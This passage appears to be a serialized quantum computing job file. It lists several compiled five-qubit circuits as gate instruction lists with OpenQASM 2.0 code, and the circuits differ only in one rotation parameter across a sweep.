[]}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1269', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1271', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1273', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1275', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 